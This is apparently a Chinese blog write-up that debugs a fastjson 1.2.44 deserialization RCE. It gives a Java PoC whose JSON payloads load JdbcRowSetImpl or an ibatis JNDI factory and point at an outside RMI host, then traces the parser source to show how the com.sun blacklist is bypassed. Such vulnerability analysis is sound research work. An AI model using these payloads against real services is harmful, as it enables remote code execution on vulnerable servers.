首先这个漏洞调试不需要非要使用docker,本身是一个jar包的问题。所以我们可以自己写一个小java代码来直接调试。
POC如下
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args)
{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxxxx/Exploit\"}}";
String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload2);
}
}
java代码如上,下载fastjson-1.2.44.jar放到对应lib目录下,并把lib目录加入到libraries上。
在JSON.parse(payload);下断点,调试。
public static Object parse(String text, int features) { return parse(text, ParserConfig.getGlobalInstance(), features); }
在这块,我个人认为ParserConfig.getGlobalInstance()主要是获取整个代码调用fastjson的时候的设置的环境变量,也就是说,如果在代码块未对一些配置参数更改,那这块获取的配置就是默认的配置环境
环境可以理解为,就是一些参数值是true还是false。
我们可以看到,autoTypeSupport是false的,
在一些POC里,我们也搜到了一些fastjson rce漏洞 触发的条件之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
public static Object parse(String text, ParserConfig config, int features) { if (text == null) { return null; } DefaultJSONParser parser = new DefaultJSONParser(text, config, features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
来到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
text就是传入的poc,config就是之前的全局环境配置。我们假设我们不知道哪里触发的,于是我们就要跟入一下new DefaultJSONParser这个实例化操作。
public DefaultJSONParser(final String input, final ParserConfig config, int features){ this(input, new JSONScanner(input, features), config); }
到这块,继续深入。可以通过查看dnslog,发现还没收到请求,说明还没触发漏洞。
第一个关键点
com/alibaba/fastjson/util/TypeUtils.java
把com.sun.rowset.JdbcRowSetImpl放进了一个mappings里,key为com.sun.rowset.JdbcRowSetImpl,值为class com.sun.rowset.JdbcRowSetImpl。
给出一下断点的位置
看下mappings里面都有哪些缓存类:
挺多的,然后因为我们通过java.lang.Class类的方式把com.sun.rowset.JdbcRowSetImpl放在了mappings里,下次反序列化的时候,这个类在mappings里的话,就不会报类错误了。
类在mappings里了。
然后继续跟,来到com/alibaba/fastjson/parser/ParserConfig.java的
因为已经来到x的value字段了,当取到存在typename是com.sun.rowset.JdbcRowSetImpl
所以要取clazz出来,我们跟一下,
mappings.get取出来,
一路高歌猛进,进到了
superClass = clazz
也就是supterClass等于class com.sun.rowset.JdbcRowSetImpl
然后superClass又赋值了class com.sun.rowset.JdbcRowSetImpl的父类。
这个for循环要一直循环到最高父类为Object.class才能break这个循环,不过这个比较简单的,因为所有类都是基于Object.class的 。
经过一系列的for循环量,然后终于来到了putDeserializer(type, derializer);
最后触发了,没经过报错
之前42版本就加入黑名单了的com.sun包被绕过了